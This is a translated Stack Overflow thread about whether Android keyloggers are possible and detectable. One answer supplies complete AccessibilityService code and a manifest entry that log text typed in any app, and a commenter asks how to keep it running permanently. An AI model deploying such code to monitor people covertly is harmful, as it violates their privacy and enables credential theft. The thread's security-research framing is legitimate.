安卓按键记录器

22

介绍:我想在安卓安全性方面创建一个概念验证,需要确定设备上是否有任何按键记录器运行。如果它正在设备上运行或已安装,则需要通过我的安卓应用程序将其禁用。

疑问:

1.) 是否可以创建截取键盘事件并作为服务在后台运行的Android按键记录器?

2.) 是否可以确定是否存在处理键盘事件的任何后台进程?

3.) 我能否通过我的应用程序代码停止任何其他后台服务(非我所拥有)?

如果你有相关链接,请提供适当的帮助。


你找到了答案吗? - user6649667
1
是的,我已经更新了我的发现作为一个被接受的答案,请仔细阅读。 - Avtar Guleria
3个回答

26

我知道这个问题已经有了一个被接受的答案,但是我不同意被接受的答案!
在安卓中可以通过辅助功能API实现此操作。
看一下下面的程序:

Type Machine

它使用辅助功能API,并正确地存储您在任何应用程序中键入的每个按键,这本质上就是键盘记录器所做的事情!
编辑:我不确定TypeMachine具体使用了什么,但您应该能够使用此方法从辅助服务中获取文本。例如,以下代码可用于获取新文本:

void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
     List text = accessibilityEvent.getText();
     CharSequence latestText = (CharSequence) text.get(0);
     Log.i(MY_TAG, latestText.toString());
}

1
提到类型机器加1,但如何实现呢?有没有带代码的示例? - user6649667
@14bce109:我已经编辑了我的答案,包括一个示例代码。 - ananth

17

作为对 @ananth 回答的跟进,这里提供了一个完整的代码示例,演示如何使用无障碍服务实现键盘记录器。

但是,这需要获得将您的服务与系统绑定的权限,并且用户必须明确地打开您创建的服务,方法是在 Android 设备上导航到 设置>辅助功能>{您的应用程序名称}。因此,如果您有恶意意图,请祝您好运。

步骤 1:将此粘贴到您的清单文件中。

<application>
...
<service android:name=".MyAccessibilityService"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService" />
            </intent-filter>
</service>
</application>

步骤2:为您的辅助功能服务创建一个类。

public class MyAccessibilityService extends AccessibilityService {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        final int eventType = event.getEventType();
        String eventText = null;
        switch(eventType) {
            /*
                You can use catch other events like touch and focus

                case AccessibilityEvent.TYPE_VIEW_CLICKED:
                     eventText = "Clicked: ";
                     break;
                case AccessibilityEvent.TYPE_VIEW_FOCUSED:
                     eventText = "Focused: ";
                     break;
            */
            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
                eventText = "Typed: ";
                break;
        }
        eventText = eventText + event.getText();

        //print the typed text in the console. Or do anything you want here.
        System.out.println("ACCESSIBILITY SERVICE : "+eventText);

    }

    @Override
    public void onInterrupt() {
        //whatever
    }

    @Override
    public void onServiceConnected() {
        //configure our Accessibility service
        AccessibilityServiceInfo info=getServiceInfo();
        info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
        info.notificationTimeout = 100;
        this.setServiceInfo(info);
    }

}

就这么简单。现在,所有用户在手机上输入的任何应用程序中键入的内容都将记录到控制台中。如果需要,您可以配置上述类仅侦听来自某些指定应用程序的按键。上面的类与您的MainActivity无关。服务将在安装您的应用程序时立即注册。但是,为了使其起作用,需要像之前提到的那样手动切换设置。

阅读文档,了解辅助功能是什么以及上面使用的每个类和方法的详细说明。


嗨,@Nandan Desai,我已经尝试过这个了,它只有在第一次启用辅助访问权限时才能正常工作,之后onServiceConnected()就再也不会被调用了。我还想让它在后台一直运行,永不停止。请告诉我如何做到这一点。谢谢。 - Jeyaseelan
@Jeyaseelan 我建议你阅读关于无障碍服务的文档。https://developer.android.com/reference/android/accessibilityservice/AccessibilityService - Nandan Desai
你能帮我解决这个问题吗?https://stackoverflow.com/questions/67224206/accessibility-service-not-showing-up-android-cordova - TheWhiteFang

7

经过一整天的研究,我得出以下结论。

Android不允许你从后台服务拦截默认软键盘输入。拦截这些事件的唯一方法是使用自定义键盘。

我总结如下:

在Android中,后台服务不支持键盘事件的记录。以下是一些相关链接:

点1:Google Android开发者

由于软输入法可以使用多种创新的方式输入文本,因此不能保证软键盘上的任何按键都会生成键事件:这取决于IME的决定,并且事实上发送这样的事件是不鼓励的。您永远不应该依赖于接收软输入法上任何键的KeyEvents。特别是,默认软件键盘将永远不会向任何针对Jelly Bean或更高版本的应用程序发送任何键事件,并且只会向针对Ice Cream Sandwich或更早版本的应用程序发送有关删除和返回键的某些按键事件。

http://developer.android.com/reference/android/view/KeyEvent.html

Android Jelly Bean是:4.1到4.3.1 Android IceCream Sandwich:4.0

软输入法上的按键事件不需要触发此侦听器中的方法,事实上这样做是不鼓励的。默认的Android键盘将不会为任何针对Jelly Bean或更高版本的应用程序的任何键触发这些事件,并且只会为一些针对Ice Cream Sandwich或更早版本的应用程序的按键事件提供。

http://developer.android.com/reference/android/text/method/KeyListener.html

点2:Stack Overflow KeyEvents只能由Activities处理,因为它们是用户按键的接口,只有当它们处于前台时才能处理。即使在后台运行的服务也不打算对用户输入做出反应。

Android - Listener for hard keys press at background

Is it possible to create an Android Service that listens for hardware key presses?

点3:Romain Guy Google员工Romain Guy(https://stackoverflow.com/users/298575/romain-guy)也证实了这一点。 onKeyDown in a service? (Global Hot Keys)

点4:其他参考资料:

Google android-developers Group:https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI

只能通过使用自定义键盘实现:get pressed key and throw another key in android

如果您认为我漏掉了什么,请添加您的评论。


非常感谢这份文档。我正在研究类似的东西,不知道是否可以向您请教一些问题?不确定我的电子邮件是否显示在我的个人资料中,但如果您愿意,请通过cgmckeever...gmail与我联系。谢谢! - cgmckeever
2
请查看“Type machine”应用程序。如果不可能,请问它是如何工作的? - user6649667
现在我没有太多时间去研究那个。那是我大约两年前的发现。你可以在查看应用程序后发表你的观点。 - Avtar Guleria

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接